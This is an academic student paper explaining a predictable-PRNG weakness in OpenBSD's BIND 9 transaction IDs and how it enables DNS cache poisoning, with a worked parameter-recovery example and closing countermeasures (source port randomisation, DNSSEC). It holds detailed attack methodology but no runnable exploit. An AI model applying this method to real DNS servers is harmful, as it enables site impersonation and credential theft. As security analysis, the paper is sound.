Leonardsson Carl Holmström Emil March 13, 2008

Transcription

1 Comments on the predictability vulnerability in the PRNG used by e.g. OpenBSD for generation of transaction IDs for the BIND 9 DNS server and it s applications for DNS cache poisoning Leonardsson Carl (cale6993@student.uu.se), Holmström Emil (emho5679@student.uu.se) March 13,

2 Contents 1 Introduction 2 2 How to use PRNG prediction to launch a DNS cache poisoning attack against a BIND 9 DNS server running on OpenBSD v DNS cache poisoning An attack How to predict the next transaction ID to be used by a BIND 9 DNS server running on OpenBSD v Prediction through example Phase Phase Phase Discourse of this attack How to protect against this attack Introduction This document will discuss a PRNG prediction algorithm previously described by Amit Klein [1]. The PRNG is currently used by some major operating systems, including OpenBSD and Mac OS X, for generation of transaction IDs for the DNS server BIND 9 as well as for IP fragmentation IDs. Notably prediction of a DNS transaction ID could be used to launch a cache poisoning attack against the BIND 9 DNS server whose transaction ID was predicted. The current PRNG came to be used for transaction ID generation in the BIND 9 DNS server under OpenBSD as the LCG (Linear Congruence Generator) was considered by the OpenBSD developers to be more secure than the LFSR (Linear Feedback Shift Register) implemented in BIND 9 itself[3]. However it seems that the LCG will be swapped for another algorithm (based on Durstenfeld shuffle) in the coming version of OpenBSD: 4.3[2]. The PRNG algorithm and the PRNG prediction algorithm will be explained as well as a few possible ways of utilising the prediction to launch a DNS cache poisoning attack. Practical difficulties in executing the attack will be discussed as well as countermeasures. 2 How to use PRNG prediction to launch a DNS cache poisoning attack against a BIND 9 DNS server running on OpenBSD v BIND 9 is the major DNS server in use today[4]. As is the purpose of a DNS server the BIND 9 server will try to answer a DNS query for the address with the IP number corresponding to that address. If this BIND 9 server is the one responsible for the domain example.com the server will probably be configured to know that the IP of is

3 and it can answer directly. If the server is not responsible for the domain example.com it will probably not know where is located. The server will then contact the DNS server responsible for example.net, querying it for the IP and upon receiving it using it in a response to the original querier. To be able to faster serve a later query for the same host the DNS server will often store the IP together with the host name in a s.k. DNS cache which is kept local. An entry in a DNS cache will have a maximum life time after which it will disappear. When a DNS server queries another server for the IP of a host name a random transaction ID (aka TRXID) is included in the query. The server will accept only those DNS responses that have the correct source IP address (the one of the queried DNS server) and the correct transaction ID. 2.1 DNS cache poisoning DNS cache poisoning is the name of all attacks with the purpose to insert a chosen (faulty) association of a hostname to an IP address into the cache of a victim DNS server. The result of a successful DNS cache poisoning is that all hosts that query the DNS server for the IP address of will be served the IP rather than the proper This makes it easy for the attacker to put a web page on the host masquerading as If the web page looks like and the address in the address bar of a user s web browser says that user will most likely mistake the fake page for the real and possibly entering passwords or other data that would normally not be entrusted anyone but The applications are of course not limited to fake web pages. It can be used for any application where Oscar wants to impersonate another host in a service using DNS for localisation. 2.2 An attack In the following discourse we will illustrate attacks using the scheme of figure 1. We are assuming that Oscar wants to poison the cache entry for in DNS server dns.snowwhite.net so that the server associates the host name with the IP of Oscar s choice. dns.snowwhite.net is assumed to run OpenBSD 4.2 and a BIND 9 DNS server. dns.snowwhite.net is further assumed to answer only to DNS queries coming from hosts inside it s domain snowwhite.net i.e. it will answer to Alice and Bob but not to Oscar. Oscar is supposed to control all of the domain witch.net, specifically freegold.witch.net and dns.witch.net. To be able to predict the next transaction ID to be used by dns.snowwhite.net Oscar needs a sequence of transaction IDs preceding the ID to be predicted (15 such IDs should do quite nicely according to Klein [1]). To acquire those IDs Oscar uses a technique called CNAME chains: Oscar waits for Alice to visit his web site freegold.witch.net. At this web page there is an image link referring to an image supposedly located at freegold2.witch.net. As Alice do not know the IP address of freegold2.witch.net she will ask her DNS server about it. dns.snowwhite.net will notice that this host name is in the domain witch.net and thus query dns.witch.net about it. In this query T RXID 0 will be included. Oscar has, cleverly, configured dns.witch.net to answer any 3

4 Figure 1: DNS scheme query for freegoldn.witch.net with a CNAME 1 response redirecting to the hostname freegold(n + 1).witch.net. dns.snowwhite will thus be redirected to freegold3.witch.net. As this hostname too is unknown dns.snowwhite.net will, once again, query dns.witch.net this time including the transaction ID T RXID 1. This process can be forced by dns.witch.net to continue until 15 sequential transaction IDs are collected. Using the 15 transaction IDs (T RXID 0,..., T RXID 14 ) Oscar calculates in advance the value of T RXID 15. This cannot be done completely deterministically (as explained later) but Oscar will get 8 (or at a certain probability 16) possible candidates for T RXID 15. Oscar now needs dns.snowwhite.net to query dns.apple.com for the IP address of This could possibly be accomplished by a link (preferably a tempting link) at freegold.witch.net to or by a HTTP redirect. There is a chance that Alice, already surfing freegold.witch.net, will click this link thereby triggering the query. Oscar now quickly sends DNS replies to dns.snowwhite.net where the transaction ID is one of the candidates for T RXID 15, the source IP spoofed to be the IP of dns.apple.com and the response IP the one that Oscar wants to masquerade as If Oscar rapidly loops through the 8 or 16 candidates there is a good chance that his fake DNS response will reach dns.snowwhite.net before the proper response from dns.apple.com [1][5]. dns.snowwhite.net will accept the first proper response it receives and discard faulty fake responses and too late proper response alike. dns.snowwhite.net will serve the fake IP to Alice as associated with as well as caching the association. Oscar has succeeded! Note in particular that not only Alice will be fooled by this. If Bob attempts to connect to within a certain time period after the attack the dns.snowwhite.net will answer to his DNS query by the fake IP injected by 1 A CNAME response is used by a DNS server to say that the hostname of the query is an alias for another hostname and redirect the querier to that other hostname. 4

5 Oscar as this is what is currently stored in the cache of the DNS server. 3 How to predict the next transaction ID to be used by a BIND 9 DNS server running on OpenBSD v The particular prediction algorithm described in this section is due to Amit Klein [1]. It works to predict the next random 16bit number generated by a particular PRNG used by e.g. OpenBSD, NetBSD, FreeBSD, Mac OS X for generation of transaction ID in the BIND 9 DNS server and IPv4 fragmentation ID. There are three flavors of this PRNG: X3, X2 and A0. This discourse will focus on X3, which is the one used in OpenBSD s BIND 9 PRNG, but the other two could be predicted in a similar way. The PRNG is an LCG. For each 16 bit number to be generated the LCG is advanced by n + 1 turns where n is a 3 bit number generated by an external source e.g. read from /dev/random. /* Generate a 16 bit DNS transaction ID TRXID */ int n = 3 bits from external random source for(int i = 0; i <= n; i++) x = (a*x + b) % M TRXID = (seed (g seed2 x mod N)) msb Here M = and N = (which is a prime) are constants while a (15 bit), b (15 bit, odd number), seed (15 bit), seed2 (15 bit), x (15 bit), g (15 bit generator of Z N ) and msb (0x8000 or 0x0) are secret parameters to the PRNG, together constituting the key. x is the state of the PRNG. To predict the next value of TRXID by this attack all the secret parameters of the PRNG are calculated from a sequence of sample TRXIDs collected by the attacker. With the knowledge of all PRNG parameters an attacker can predict that the next value of TRXID is one out of 8 possible values corresponding to the 8 different values of n. n is generated by an external PRNG and cannot be predicted by this attack so it is impossible for the attacker to know which of the eight candidates is the real one. This does not make a practical attack using this prediction algorithm impossible as explained above. By a certain probability the prediction will generate two candidate sets of parameters rather than one. This probability decreases with an increased number of sample TRXIDs collected. For 15 samples the probability of duplicate candidates is 45%[1]. The PRNG parameters are calculated by guessing parameters and checking them against the sequence of sample TRXIDs. Due to certain properties of the PRNG not all possible combinations of parameter values need to be checked but rather only a small(er) subset of them. Note that if g, seed and seed2 are completely guessed the value of x used to create a given sample TRXID can be completely calculated as 5

6 ( ) x = logg N (T RXID 0x7fff) seed seed2 where logg N (x) = y g y mod N = x. Note further that if only i bits of seed2 is known ( an attacker may still calculate ) ( ) (x mod 2 i ) = logg N (T RXID 0x7fff) seed mod 2 i (seed2 mod 2 i ) By design a mod 48 = 1[1]. This fact together with the choice of an LCG for state advancement leads to the, for an attacker, desirable property that x 1 mod 16 = x 0 a + b mod 16 x 1 mod 16 = x 0 + b mod 16 x (n+1) mod 16 = x 0 + (n + 1)b mod 16 (n + 1) = b 1 ( mod 16)(x (n+1) x 0 ) mod 16 (1) The above will hold for the correct choice of b, x n and x 0 and also for some other choices. However as the last expression for n has four bits while the real n is known to only have three bits half of the erroneous choices of b, x n, x 0 will fail obviously by evaluating n > 7. This is what the first phase of candidate elimination in the attack algorithm is based upon. There are in all three phases, the two later of which are quite similar to the first one. 3.1 Prediction through example We will now, at haste, present the whole prediction algorithm through an example. To this end suppose that the collected sample TRXIDs are T RXID = [57749, 39236, 54492, 35949, 53632, 45152, 56151, 40925, 45220, 44355, 54095, 47393, 43380, 44962, 46945] Phase 1 Start out by guessing (trying sequentially) the complete value of g. There are Φ(Φ(N)) = generators for Z N = Z N. To keep down the size of this document slightly we will immediately choose the right one: g = Further guess the complete value of seed. There are 2 15 = possible values. Once again we choose the right one: seed = Now try each of the 16 8 possible values of seed2 mod 16, b mod 16 - start by the right one: seed2 mod 16 = 3, b mod 16 = 5. Now we can calculate the values of x mod 16 that were used to calculate each sample TRXID ( by the expression mentioned above. ) ( ) x 0 mod 16 = logg N (T RXID 0 0x7fff) seed mod 16 (seed2 mod 16) mod 16 = (logg N (22559) mod 16) (seed2 mod 16) mod 16 logg N can be calculated efficiently if a table of logg N -values is built once for each candidate g and logg N (i) is implemented as a table lookup. x 0 mod 16 = 15 Analogously the other xs can be calculated modulo 16: x mod 16 = [15, 13, 2, 11, 4, 8, 2, 1, 10, 2, 6, 14, 1, 4, 13] 6

7 For each consecutive pair of (x i mod 16), (x i+1 mod 16) the number n of advances between them can be calculated as mentioned above 2 : n = b 1 ( mod 16)(x 1 x 0 ) mod 16 = 5 1 ( mod 16)(13 15) mod 16 = 6 n 0 = 5 Analogously for the other i: n = [5, 0, 4, 4, 3, 1, 2, 4, 7, 3, 7, 6, 6, 4] Apparently all 0 n i 7 and the candidate (g = 11361, seed = 14730, b mod 16 = 5, seed2 mod 16 = 3) passes the first elimination phase. For the reference suppose, all other parameters equal, that b mod 16 = 7 was chosen. This would generate the same sequence x mod 16. Consider now the calculation n = b 1 ( mod 16)(x 3 x 2 ) mod 16 = 7(11 2) mod 16 = 15 This gives n 2 = 14 > 7. Thus it is impossible to advance from x 2 = 2 to x 3 = 11 in 1 n steps with those parameters. This parameter set is therefore discarded as unreasonable. Klein states that the expected number of candidate parameter sets that survives phase 1 is about 2.8 million [1]. The number of tested candidates in this phase is about Phase 2 For all candidates that survive the first phase elimination another 3 bits of a, b and seed are guessed. This guess has 2 9 = 512 possible values. The guesses are accepted or refused by the following test, which is also based on the fact that the LCG advancement preserves modulo i.e. (x 1 = ax 0 + b) (x 1 mod m = (a mod m)(x 0 mod m) + (b mod m)): First calculate ( x mod 128 in the way analogue to that used) above for x mod 16: ( ) x 0 mod 128 = logg N (T RXID 0 0x7fff) seed mod 128 (seed2 mod 128) mod 128 = 79 x mod 128 = [79, 77, 34, 75, 116, 72, 114, 113, 26, 66, 22, 62, 17, 100, 13] Now advance each x i by n i + 1 steps in the following way: x i := x i mod 128 do n i + 1 times x i := (a mod 128)x i + (b mod 128) mod 128 If now x i = x i+1 mod 128 for all x i the candidate is accepted, otherwise it is refused. For our example: Take a lucky guess at a mod 128 = 1, b mod 128 = 85, seed2 mod 128 = 3 then calculate (Note that n 0 = 5 as was calculated for this candidate in phase 1.): x 0 := x 0 mod 128 = 79 x 0 := 1 x mod 128 = 36 x 0 := 1 x mod 128 = 121 x 0 := 1 x mod 128 = 78 2 Note that here the indices i of x i represents that x i corresponds to the i:th TRXID. Thus there are some 1 n 8 advances between x i and x i+1 while in the equation 1 the indices means that there is exactly one advance between x i and x i+1. 7

8 x 0 := 1 x mod 128 = 35 x 0 := 1 x mod 128 = 120 x 0 := 1 x mod 128 = 77 = x 1 mod 128 Analogously it will turn out that actually all x i = x i+1 and the candidate is once more accepted. Klein states that the expected number of candidate parameter sets that survives phase 2 is probably no more than one [1]. The number of tested candidates in phase 2 is 512 per candidate that survived phase 1, i.e. in all = Phase 3 For each candidate parameter set that survives phase 2 the remaining 8 bits of a, b and seed2 are guessed. As we also, since phase 1, knows the value of n corresponding to each parameter set it is easy to fully verify whether or not a guess is valid or not: Simply run the same test as in phase 2 but this time modulo Now, with all PRNG parameters calculated, it is not hard to calculate 8 possible next values of TRXID by running the X3 algorithm once for each 0 n 7. This description has been on purpose brief. For a more detailed description as well as a working C implementation see [1] 3. 4 Discourse of this attack There are, as far as we recognise, a few major difficulties in the practical launching of this attack. 1. For the attack to succeed must not be cached at dns.snowwhite.net at the time of the attack. 2. A BIND 9 DNS server will by default change the secret parameters for the PRNG once every 180 seconds[1]. 3. Even though this attack fully calculates the values of the PRNG parameters it can only efficiently be used to predict the next few transaction IDs to be used. As the variable n is set to a (externally) random number 0-7 there will be 8 candidates for T RXID 15, 16 candidates for T RXID 16, 8i candidates for T RXID 14+i. This necessitates that after the collection of sample transaction IDs and before the query for there must occur few or ideally no DNS queries from dns.snowwhite.net. Difficulty 1 might be tricky to address at any particular attack attempt if is a host regularly visited from snowwhite.net. Cache entries are often stored for periods of up to 24 hours [6]. As we assume that no packets can be sniffed on the route between dns.snowwhite.net and dns.apple.com we cannot see any better way of solving this problem than trying the attack several times until it works. 3 Note that to make the code work for predicting X3 transaction IDs You must uncomment the define #define N 3. 8

9 The difficulty 2 has two implications: First it means that an attacker must keep his eyes open for a rekey occurring in the middle of his ID sampling. Such a rekey would mean that the samples are worthless as they are not generated by the same PRNG parameters and IDs have to be resampled. Secondly a rekey after the sampling but before the query to dns.apple.com will cause the prediction to fail and the attack must be restarted all over. The upside for an attacker is that a rekey is very easy to detect: The parameter msb which has been almost completely left out of previous discourse completely determines only the 16:th bit of every transaction ID. It s value will change from 0 to 1 or from 1 to 0 at every rekey [1] 4. Thus the attacker can easily see at least if the sample sequence is invalid by checking that the 16:th bit is not the same for all samples. The difficulty 3 might well be the most difficult to address for an attacker. The time taken to predict the next transaction ID when run, by the authors, on a Intel Core 2, 2GHz (of which only 1GHz could be used as the code is singlethreaded) was approximately 120 seconds and completing the search for other possible candidates took approximately 570 seconds. The latter time is clearly far longer than the 180 seconds window during which the server uses the same PRNG parameters. However the algorithm is extremely well parallelisable, lots of time could be saved by precomputing the whole logg N -table for all g (although this would require at least 700 MB of memory). Klein states that he can run the prediction in 90 seconds[1] and this time should, due to the parallelisability, be possible to decrease further by running the program on e.g. a large enough cluster. Still 90 seconds of no DNS queries from dns.snowwhite.net at a prespecified time might not be so probable if the DNS server serves many clients. An attack variant that somewhat increases the chances of creating the right circumstances with respect to DNS queries that we can think of and which resembles one that is described in [5] is the following. We change the premises of the attack so that Oscar too is an ordinary client of dns.snowwhite.net, alternatively controls a host which is. Oscar can now choose a time when network activity is low (5 am perhaps). Oscar can then, himself, surf to freegold.witch.net triggering the CNAME chain and transaction ID sampling, check that no rekey occurred, predict the next transaction ID, attempt to surf to while continuously spoofing DNS responses to dns.snowwhite.net. This scenario makes it easier for Oscar to precisely rule which DNS queries are sent by dns.snowwhite.net to other DNS servers. 4.1 How to protect against this attack Two ways of configuring BIND 9 to protect against this attack are the following: Use a shorter rekey period than the time feasibly needed to predict the next ID. Change the content of the DNS cache often. Both of those configurations are bad. The time needed to predict the next ID is not much more than a matter of the size of the cluster that does the calculation. At the extreme that solution would reduce the PRNG to no more than a wrapper for the external PRNG used to generate the parameters and n. Changing the DNS cache often defeats 4 The authors assumes that this seemingly peculiar property which effectively gives away the time of a rekey is so implemented to ensure that no transaction ID collisions will occur between IDs calculated by different, consecutive parameter sets. 9

10 the point of caching and will hit the performance of the DNS server as more queries must be forwarded to other servers. A better way is to use a good randomisation of the UDP source port used by dns.snowwhite.net when querying other DNS servers. If Oscar do not know the source port he does not know where to send his spoofed DNS responses. An even better way (it would seem to the authors) is to use DNSSEC. This is a security enforced DNS protocol which cryptographically signs DNS responses[8], making spoofers lives harder. However DNSSEC is not very wide spread[7] and both ends must support it for there to be any point in signing anything. As mentioned in the introduction the PRNG against which this attack is directed will no longer be used in OpenBSD for BIND 9 as of version 4.3 which is supposed to be released in May 2008[2]. References [1] Klein Amit, 2007, OpenBSD Cache Poisoning and Multiple O/S Predictable IP ID Vulnerability, [2] OpenBSD, 2008, Changes made between OpenBSD 4.2 and OpenBSD 4.3, [3] Schlyter Jakob, 2007, OpenBSD & BIND 9 cache poisoning, [4] Bind homepage, [5] Secure Networks Inc. and CORE Seguridad de la Informacion, 1997, BIND Vulnerabilities and Solutions, random.txt [6] RFC 1537, Common DNS Data File Configuration Errors [7] Wikipedia, DNSSEC, [8] RFC 4033, DNS Security Introduction and Requirements 10